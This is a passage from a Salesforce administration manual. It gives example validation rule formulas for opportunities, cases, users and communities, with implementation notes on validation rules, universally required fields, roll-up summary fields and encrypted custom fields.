Value Validates that an opportunity has at least one opportunity product before users can save a change to an opportunity.

Error Message: Error Location:

You must add products to this opportunity before saving.


Top of Page

Opportunity Must Have Products if Beyond Needs Analysis Stage Field Description: Formula:
AND ( CASE( StageName, "Value Proposition", 1, "Id. Decision Makers", 1, "Perception Analysis", 1, "Proposal/Price Quote", 1, "Negotiation/Review", 1, "Closed Won", 1, 0) = 1, NOT(HasOpportunityLineItem) )

Value Validates that an opportunity has opportunity products before the Stage can move beyond Needs Analysis.

Error Message: Error Location:

Opportunity products are required to advance beyond the Needs Analysis stage.
Top of Page

1206

Customize

Managing Validation Rules

Opportunity Name Format Field Description: Formula:


FIND( " - ", Name ) = 0

Value Validates that an opportunity contains a hyphen as a way of enforcing an [Account] [Amount] opportunity naming convention.

Error Message: Error Location:

Opportunity Name should use [Account] - [Amount] format.


Opportunity Name

Prevent Sales Reps from Moving Opportunity Stage Backwards Field Description: Value Prevent sales reps from changing opportunity Stage backwards to specific values, once they have accepted the opportunity via a custom approval process. The approval process sets the custom Accepted Flag checkbox to True.
AND( Accepted_Flag__c, OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName, "Stage 2")) )

Formula:

Error Message: Error Location:

Invalid stage for accepted opportunity.


Stage

Probability Must Be 100% for Won Opportunities Field Description: Formula:


AND ( ISPICKVAL( StageName, "Closed Won"), Probability <> 1)

Value Validates that the probability of a won opportunity is properly set to 100%. This is useful for data cleanliness and reporting purposes.

Error Message: Error Location:

Probability must be 100% for won opportunities.


Probability

1207

Customize

Managing Validation Rules

Probability Must Be Zero for Lost Opportunities Field Description: Formula:


AND ( ISPICKVAL( StageName, "Closed Lost"), Probability <> 0)

Value Validates that the probability of a lost opportunity is properly set to zero. This is useful for data cleanliness and reporting purposes.

Error Message: Error Location:

Probability must be 0% for lost opportunities.


Probability

Project Start Date Field Description: Value Validates that a field is conditionally required based on the values of other fields. Use this validation formula to ensure that users include a Project Start Date for an opportunity that is closed/won.
AND(ISPICKVAL(StageName, "Closed Won"), ISNULL(Project_Start_Date__c))

Formula:

Error Message: Error Location:

Project start date is required for won opportunities.


Project Start Date

Quote Validation Rules


Display Error if Quote Line Item Discount Exceeds 40% Field Description: Formula:
Discount > .40

Value Shows an error if a quote line item's discount exceeds 40%.

Error Message: Error Location:

The discount on this quote line item cannot exceed 40%.


Discount on quote

1208

Customize

Managing Validation Rules

Call Center Validation Rules


Conditionally Require Description When Case Reason is Other Field Description: Formula:
AND( ISPICKVAL( Reason, "Other" ), ISBLANK(Other_Reason__c) )

Value Validates that a custom field called Other Reason contains a value if a case has a Case Reason of Other.

Error Message: Error Location:

Description of Other Reason is required.


Other Reason

Prevent Open Cases from Being Reset to New Field Description: Formula:
AND( ISCHANGED( Status ), NOT(ISPICKVAL(PRIORVALUE( Status ), "New")), ISPICKVAL( Status, "New") )

Value If a case is already open, prevents the Status from being changed back to New.

Error Message: Error Location:

Open case Status cannot be reset to New.


Status

Restrict Status of Re-Opened Cases Field Description: Formula:


AND( ISCHANGED( Status ), OR( ISPICKVAL(PRIORVALUE( Status ), "Closed"), ISPICKVAL(PRIORVALUE( Status ), "Closed in SSP")), NOT( ISPICKVAL( Status, "Re-Opened")) )

Value Validates that the case Status is Re-opened when a closed case is opened again.

Error Message:

Closed case can only be changed to Re-opened.

1209

Customize

Managing Validation Rules

Field Error Location:

Value
Status

Prevent Case Milestone Completion After Cases Are Closed Field Description: Formula:
Case.IsClosed = true

Value Validates that a milestone's Completion Date can't occur after the case's Status is Closed.

Error Message: Error Location:

You can't complete a milestone after a case is closed.


Top of Page

Prevent Case Milestone Completion Before Case Creation Dates Field Description: Formula:
CompletionDate >= Case.ClosedDate Case.CreatedDate && CompletionDate <=

Value Validates that the milestone's Completion Date has occurred after the case's Date/Time Opened.

Error Message: Error Location:

The milestone Completion Date must occur after the date the case was created and before the case was closed.
Top of Page

User, Role, and Profile Validation Rules


Discount Percent Does Not Exceed Role-Based Limit Field Description: Value Validates that a custom field on opportunities called Discount Percent does not exceed a maximum value that varies depending on the users role. The default maximum is 15%.

1210

Customize

Managing Validation Rules

Field Formula:

Value
Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c, $ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Error Message: Error Location:

Discount (%) exceeds limit allowed for your role.


Discount Percent

Expense Amount Does Not Exceed User's Max Allowed Expense Field Description: Formula:
Expense_Amount__c > $User.Max_Allowed_Expense__c

Value Validates a custom field called Expense Amount against a custom user field called Max Allowed Expense.

Error Message: Error Location:

Amount cannot exceed your maximum allowed expense.


Expense Amount

Only Record Owner Can Change Field Field Description: Formula:


AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id )

Value Ensures that only the record owner can make changes to a custom field called Personal Goal.

Error Message: Error Location:

Only record owner can change Personal Goal.


Personal Goal

Only Record Owner or Administrator Can Change Field Field Description: Value Ensures that a user can make changes to a custom field called Personal Goal only if the user is the record owner or has a custom profile of Custom: System Admin.

1211

Customize

Managing Validation Rules

Field Formula:

Value
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <> "Custom: System Admin" )

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Error Message: Error Location:

Only record owner or administrator can change Personal Goal.


Personal Goal

Opportunity Close Date Can Only Be Back-Dated by Administrator Field Description: Formula:
AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1), $Profile.Name <> "Custom: System Admin" )

Value Validates that the Close Date of an opportunity does not fall prior to the current month, except for users who have a custom profile called Custom: System Admin.

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Error Message: Error Location:

Close Date cannot be prior to current month.


Close Date

Cross Object Validation Rules


Discounts Must Be Within Range This example consists of three validation rules on opportunity products. The examples below work together to help you manage discount amounts for products and require a custom percent field on opportunity products called Line Discount. The examples below also require you to use price books and customize the Product Family field to include the following values: Software, Consulting, and Training. Software Discounts

1212

Customize

Managing Validation Rules

Field Description: Formula:

Value Prevents users from saving software products with a discount over 10 percent.
AND(Line_Discount__c > 0.10, ISPICKVAL(Product2.Family, "Software"))

Error Message: Error Location:

The discount must be 10% or less for software products.


Line Discount

Consulting Discounts Field Description: Formula:


AND(Line_Discount__c > 0.15, ISPICKVAL(Product2.Family, "Consulting"))

Value Prevents users from saving consulting products with a discount over 15 percent.

Error Message: Error Location:

The discount must be 15% or less for consulting products.


Line Discount

Training Discounts Field Description: Formula:


AND(Line_Discount__c > 0.20, ISPICKVAL(Product2.Family, "Training"))

Value Prevents users from saving training products with a discount over 20 percent.

Error Message: Error Location:

The discount must be 20% or less for training products.


Line Discount

Prevent Changing Opportunity Products on Closed Opportunities This example consists of two validation rules: one on opportunity products and another on opportunities. Field Description: Value Prevents users from editing opportunity products after an opportunity is closed. Create the following validation rule example on opportunity products.

1213

Customize

Managing Validation Rules

Field Formula:

Value
OR(ISPICKVAL(Opportunity.StageName, "Closed Won"), ISPICKVAL(Opportunity.StageName, "Closed Lost"))

Error Message: Error Location:

Cannot change opportunity products for closed opportunities.


Top of Page

The following validation rule is on opportunities. Field Description: Value Prevents users from deleting opportunity products after an opportunity is closed. Create the following validation rule example on opportunities. It uses a custom roll-up summary field on opportunities that counts the number of opportunity products on an opportunity.
AND(OR(ISPICKVAL(StageName, "Closed Won"), ISPICKVAL(StageName, "Closed Lost")), Number_of_Line_Items__c < PRIORVALUE(Number_of_Line_Items__c) )

Formula:

Error Message: Error Location:

Cannot delete opportunity products for closed opportunities.


Top of Page

Prevent Saving a Case When Account Does Not Have Support Field Description: Value Prevents users from saving a case for an account that does not have support. This example assumes you have a custom checkbox field on accounts called Allowed Support that tracks if the account has support.
Account.Allowed_Support__c = FALSE

Formula:

Error Message: Error Location:

Unable to create cases for this account because it is not signed up for support.
Top of Page

1214

Customize

Managing Validation Rules

Prevent Saving a Case When Contact is No Longer with the Company Field Description: Value Prevents users from saving an open case associated with a contact that is no longer with the company. This example uses a custom checkbox field on contacts called No Longer With Company.
AND(Contact.Not_Longer_With_Company__c, NOT(IsClosed))

Formula:

Error Message: Error Location:

Unable to save this case because the related contact is no longer with the company. To continue, choose another contact.
Contact Name

Community Validation Rules


Preventing Offensive Language in Questions Field Description: Formula:
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Value Prevents users from entering offensive language in the Title and Description fields when asking a question.

Error Message:

Question title or description contains offensive language.

Preventing Offensive Language in Replies Field Description: Formula:


OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))

Value Prevents users from entering offensive language when replying to a question.

Error Message:

Reply contains offensive language.

Preventing Offensive Language in Ideas Field Description: Value Prevents users from entering offensive language in the Title and Description fields when posting an idea.

1215

Customize

Managing Validation Rules

Field Formula:

Value
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message:

Idea title or description contains offensive language.

Preventing Offensive Language in Idea Comments Field Description: Formula:


OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Value Prevents users from entering offensive language when posting a comment.

Error Message:

Comment contains offensive language.

Other Validation Rules


Allow Number to Be Increased but Not Decreased Field Description: Value Allows a custom field called Commit Amount to be increased but not decreased after initial creation. This rule uses the PRIORVALUE() function to compare the updated value of the field to its value prior to update.
PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Formula:

Error Message: Error Location:

Commit Amount cannot be decreased.


Commit Amount

California Driver's License Field Description: Formula:


AND( MailingState = "CA", NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?")) )

Value Ensures that a custom field called Drivers License is in the correct A9999999 format when the Mailing State is CA.

Error Message:

Invalid California driver's license format.

1216

Customize

Managing Validation Rules

Field Error Location:

Value
Drivers License

Force Users to Check I Accept Terms to Enter Certain Values Field Description: Value Uses a checkbox labeled I accept terms to force the user to select a checkbox in order to enter a value called Number of Days that exceeds their Paid Time Off (PTO) balance available.
AND( NOT( I_accept_terms__c ), Number_of_Days__c > $User.PTO_Balance__c )

Formula:

Error Message: Error Location:

Request will cause a negative PTO balance. You must accept Negative PTO Balance terms.
I accept terms

Prohibit Changes to a Field After It Has Been Saved Field Description: Formula:
AND( NOT( ISNEW() ), ISCHANGED( Guaranteed_Rate__c ) )

Value Prevents users from changing a custom field called Guaranteed Rate after it has been saved initially.

Error Message: Error Location:

Guaranteed Rate cannot be changed.


Guaranteed Rate

Social Security Number Format Field Description: Value Validates that a custom text field called SSN is formatted in 999-99-9999 number format (if it is not blank). The pattern specifies: Three single digits (0-9):\\d{3} A dash Two single digits (0-9):\\d{2} A dash Four single digits (0-9):\\d{4}

1217

Customize

Managing Validation Rules

Field Formula:

Value
NOT( OR( ISBLANK(Social_Security_Number__c), REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Error Message: Error Location:

SSN must be in this format: 999-99-9999.


SSN

Valid Currency Field Description: Value Validates selected currency against an explicit subset of active currencies in your organization using the Currency picklist. Use this example if you only allow some of the active currencies in your organization to be applied to certain types of records.
CASE(CurrencyIsoCode, "USD", 1, "EUR", 1, "GBP", 1, "JPY", 1, 0) = 0

Formula:

Error Message: Error Location:

Currency must be USD, EUR, GBP, or JPY.


Currency

Valid Credit Card Number Field Description: Value Validates that a custom text field called Credit_Card_Number is formatted in 9999-9999-9999-9999 or 9999999999999999 number format when it is not blank. The pattern specifies: Four digits (0-9) followed by a dash: \\d{4} The aforementioned pattern is repeated three times by wrapping it in () {3} Four digits (0-9) The OR character (|) allows an alternative pattern of 16 digits of zero through nine with no dashes: \\d{16}

Formula:
NOT( REGEX( Credit_Card_Number__c , "(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Error Message:

Credit Card Number must be in this format: 9999-9999-9999-9999 or 9999999999999999.

1218

Customize

Managing Validation Rules

Field Error Location:

Value
Credit Card Number

Valid IP Address Field Description: Formula:


NOT( REGEX( IP_Address__c, "^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.) {3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))

Value Ensures that a custom field called IP Address is in the correct format, four 3-digit numbers (0-255) separated by periods.

Error Message: Error Location:

Error: IP Address must be in form 999.999.999.999 where each part is between 0 and 255.
IP Address

Website Extension Field Description: Formula:


AND( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( RIGHT( ) Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, Web_Site__c, 4) 4) 4) 4) 4) 4) 6) 6) <> <> <> <> <> <> <> <> ".COM", ".com", ".ORG", ".org", ".NET", ".net", ".CO.UK", ".co.uk"

Value Validates a custom field called Web Site to ensure its last four characters are in an explicit set of valid website extensions.

Error Message: Error Location:

Web Site must have an extension of .com, .org, .net, or .co.uk.


Web Site

1219

Customize

Managing Validation Rules

Validation Rule Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. Review the following implementation notes and best practices before implementing validation rules in your organization. Implementation Notes It isn't necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works. For example: Correct: CloseDate < TODAY() Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE) Validation rule formulas can't reference merge fields for auto number or compound address fields like Mailing Address. However, merge fields for individual address fields, such as Billing City, can be used in validation formulas. Validation rules can't refer to compound fields. Examples of compound fields include addresses, first and last names, dependent picklists, and dependent lookups. Validation formulas can't reference campaign statistic fields, including statistics for individual campaigns and campaign hierarchies. For a list of fields that can't be used in validation formulas, see Campaign Fields on page 3000. When one validation rule fails, Salesforce continues to check any additional validation rules on that field or any other field on the page and displays all appropriate error messages at once. The detail page of a custom activity field doesn't list associated validation rules. If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task isn't created. Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your organization. Campaign hierarchies ignore validation rules. Salesforce runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates records that have valid values. The Data Loader and the Force.com API version 7 and later run validation rules. Salesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing. Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously valid fields. When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the error location to Top of Page. An Invalid Formula error displays if your formula has a run-time error such as division by zero. You can't create validation rules for relationship group members. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. For more information on how to set up lookup relationships, see Overview of Relationships on page 1827.

1220

Customize

Managing Validation Rules

When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example, if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank serial number are considered valid. Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values Read, Edit, and None in a formula when referencing: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All in a formula when referencing: AccountAccessLevel (on Territory) Because roll-up summary fields aren't displayed on edit pages, you can use them in your validation rule but not as the error location. Validation rules don't run on multiple records updated after a change owner or mass transfer. However, changing an owner of a single record does run validation rules. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Lookup Filters vs. Validation Rules Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if: You want to improve user efficiency by limiting the number of available options in a lookup search dialog. You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if: You're close to the maximum number of lookup filters allowed. You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example, use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Best Practices When creating validation rules, consider all the settings in your organization that can make a record fail validation such as assignment rules, field updates, field-level security, or fields hidden on a page layout. Be careful not to create two contradicting validation rules for the same field; otherwise, users won't be able to save the record. A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule before activating it. Users will never be able to save a record if your formula always returns a True value. Because validation rules run on the Self-Service portal, make sure your validation rules don't prevent Self-Service users from creating cases. Write helpful error messages:

1221

Customize

Managing Validation Rules

Always include the field label. Users may not know what field is failing validation, especially if your error message is located at the top of the page. Give instructions. An error message like invalid entry doesn't tell them what type of entry is valid. Use an error message like "Close Date must be after today." If appropriate, translate your error messages. If users in your organization speak different languages, translate your error messages using the Translation Workbench. See Setting Up the Translation Workbench on page 492. Assign error numbers to validation rules and error messages. This allows you to identify the source of the error. Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that aren't visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the error message is designed to display next to a hidden field, it will display at the top of the page. For such fields, consider adding a default value to automatically populate the field with a valid value since users won't be able to edit the field to correct any validation errors. See Defining Default Field Values on page 1178. Use the record type ID merge field in your formula to apply different validation for different record types.. If person accounts are enabled for your organization: To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field. For example, Account.City = San Francisco verifies that a business or person accounts city is San Francisco, while IsPersonAccount ( Account.City = San Francisco) verifies that a person accounts city is San Francisco. You must handle person account and business account names separately in account validation rules. For business accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.

Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account validation rules. When you use one of those merge fields, note that business account records will be processed as if those fields have blank values. For business account and person account fields, see Account Fields on page 91. When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

Avoid using the IsClosed or IsWon opportunity merge fields in validation formulas. Instead, use the ISPICKVAL function to determine if the Stage contains the appropriate value. For example, the following validation formula makes a custom Project Start Date field required whenever the Stage is Closed Won:
AND(ISPICKVAL(StageName, "Closed Won"), ISNULL(Project_Start_Date__c))

Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the HasOpportunityLineItem merge field before users can save a change to it:
NOT(OR(ISNEW(),HasOpportunityLineItem))

1222

Customize

About Universally Required Fields

When referencing related fields in your validation formula, make sure those objects are deployed. Check the Debug Log to monitor details of the start and completion of each validation rule evaluated. You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.

See Also:
About Validation Rules Defining Validation Rules Activating Validation Rules Examples of Validation Rules

About Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, Web-to-Lead, and Web-to-Case are not available in Database.com .

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or automated processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level security ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond the presentation level of page layouts. You can make the following types of custom fields universally required: Currency Date Date/Time Email Master-Detail Relationship (always required) Number Percent Phone Text Text Area URL

To make a custom field universally required, select the Required checkbox when defining the custom field. Note: You must specify a default value for required campaign member custom fields. If you make a user field universally required, you must specify a default value for that field. See Defining Default Field Values on page 1178.

1223

Customize

About Universally Required Fields

Relationship group members do not support universally required fields. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2815.

See Also:
Considerations for Universally Required Fields About Custom Fields

Considerations for Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects, Page Layouts, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, Web-to-Lead, and Web-to-Cases are not available in Database.com

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or automated processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom fields universally required. Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required, see About Universally Required Fields on page 1223. Universally required fields are required across all record types. Edit pages always display universally required fields, regardless of field-level security. When designing your page layouts, universally required fields: Cannot be removed from a page layout Are automatically added to the end of the first section of a page layout if not already on it Cannot be read only or optional Display in bold, indicating they are always visible Are disabled on the field properties page because you cannot remove the required setting

Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your organization. Quick Create does not enforce universally required fields. If you make an activity custom field universally required, you must also provide a default value. You must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1223. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details, see Defining Field Updates on page 1888.

1224

Customize

About Roll-Up Summary Fields

Required fields may be blank on records that existed before making the field required. When a user updates a record with a blank required field, the user must enter a value in the required field before saving the record.

See Also:
About Universally Required Fields About Custom Fields

About Roll-Up Summary Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value on a master record based on the values of records in a detail record. These detail records must be directly related to the master through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum of invoice amounts for all related invoice custom object records in the Invoices related list on an account. You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records. Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices. Implementation Tips Administration Create roll-up summary fields on: Any custom object that is on the master side of a master-detail relationship Any standard object that is on the master side of a master-detail relationship with a custom object Opportunities using the values of opportunity products related to the opportunity Accounts using the values of related opportunities Campaigns using campaign member status or the values of campaign member custom fields Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not supported.

The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example, Number, currency, and percent fields are available when you select SUM as the roll-up type. Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.

You may not be able to change the field type of a field that you reference in a roll-up summary field. For the maximum number of roll-up summary fields allowed in your organization, see Salesforce Editions and Limits on page 2182. Make sure that the filter for your roll-up summary does not encounter a formula field that results in #Error!. If your filter criteria uses a formula field that results in an error, no matches are returned for that filter criterion. For example, if your

1225

Customize

About Roll-Up Summary Fields

roll-up summary filter is Formula Field equals 10 and two records contain errors while one contains the value 10 in that field, your summary only includes the record with the value 10. Salesforce does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select the Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field to manually recalculate the value. Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters. Auto number fields are not available as the field to aggregate in a roll-up summary field. After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into a lookup relationship. Roll-up summary fields are not available for mapping lead fields of converted leads.

Management Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up summary fields, which allow you to calculate the values of opportunity roll-up summary fields. Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or functions that automatically derive values on the fly, such as NOW or TODAY. Note: The value of a formula field can result in #Error!, which affects the summarized total. If your roll-up summary type is COUNT, records are included regardless of whether they contain a formula field with an error, but when the Field to Aggregate is a formula field that results in #Error!, calculations of type MIN, MAX, and SUM exclude those formula values. Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned. Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do not fire when the following changes cause a mass recalculation of roll-up summary values: Changing the roll-up summary definition (such as the object, function, or field being aggregated) Changing the expression of a formula field referenced in a roll-up summary field Replacing picklist values for picklist fields referenced in the roll-up summary filter Changing picklist record type definitions Changing currency conversion rates Changing price book entries

Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and other factors. You are not prevented from creating roll-up summary fields that might result in invalid values, such as February 29th in a non-leap year. If an existing roll-up summary field results in an invalid value, the value is not recalculated , and the field will continue to display with an invalid roll-up summary icon ( ) until you change the values being summarized. If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up summary field. For example, if the master and detail records are in different currencies, the values in the detail record are converted into the currency of the master record before calculating the final value and displaying it in the same currency as the master record. If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Salesforce will prevent users from saving a record when doing so would invalidate a related record. For example, if the related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the user's change to the child record will put the value over 100, the user will not be able to save the record. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

1226

Customize

About Roll-Up Summary Fields

Best Practices Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary field. If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving either the detail or master record because the value in a roll-up summary field changes when the values in the detail records change. Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error location for your validation. Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up summary field will always have the new value because that rule runs after the parent value has been updated. If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record, your validation rule on the child object needs to check if the count is already 25 or greater.
AND(ISNEW(), Sample.Line_Count__c >= 25)

Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the detail object selected or delete any field referenced in your roll-up summary definition. Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because their values are no longer caluculated. Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields that include related object merge fields are also not allowed in roll-up summary fields.

See Also:
Creating Custom Fields Defining Roll-Up Summaries

Defining Roll-Up Summaries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view roll-up summary field definitions: To edit roll-up summary field definitions: View Setup and Configuration Customize Application

Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does not already exist, first create a master-detail relationship between the master object that displays the value and the detail object

1227

Customize

About Encrypted Custom Fields

containing the records you are summarizing.For a list of the standard master-detail relationships where roll-up summary fields are available, see About Roll-Up Summary Fields on page 1225. To define a roll-up summary field: 1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records on a related object, so the object on which you create the field should be on the master side of a master-detail relationship. For instructions on creating a custom field, see Creating Custom Fields on page 1092. 2. Choose the Roll-Up Summary field type, and click Next. 3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field Attributes on page 1099. 4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize. 5. Select the type of summary: Type COUNT SUM MIN MAX Description Totals the number of related records. Totals the values in the field you select in the Field to Aggregate option. Only number, currency, and percent fields are available. Displays the lowest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available. Displays the highest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available.

6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses multiple languages, enter filter values in your organization's default language. For more information on using filter criteria, see Entering Filter Criteria on page 3136. 7. Click Next. 8. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 10. Click Save to finish or Save & New to create more custom fields.

See Also:
About Roll-Up Summary Fields

About Encrypted Custom Fields


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted field is only visible to users that have the View Encrypted Data permission.

1228

Customize

About Encrypted Custom Fields

Before you begin working with encrypted custom fields, review the following implementation notes and best practices: Implementation Notes Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact salesforce.com. See also Managing Master Encryption Keys on page 736. Encrypted custom fields cannot be unique, an external ID, or have default values. While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the encryption algorithm. Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters. Encrypted fields cannot be used to define report criteria but they can be included in report results. Encrypted fields are not searchable but they can be included in search results. Encrypted fields are not available in the following: Salesforce Mobile, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values, and Web-to-Lead and Web-to-Case forms. You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the View Encrypted Data permission. If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 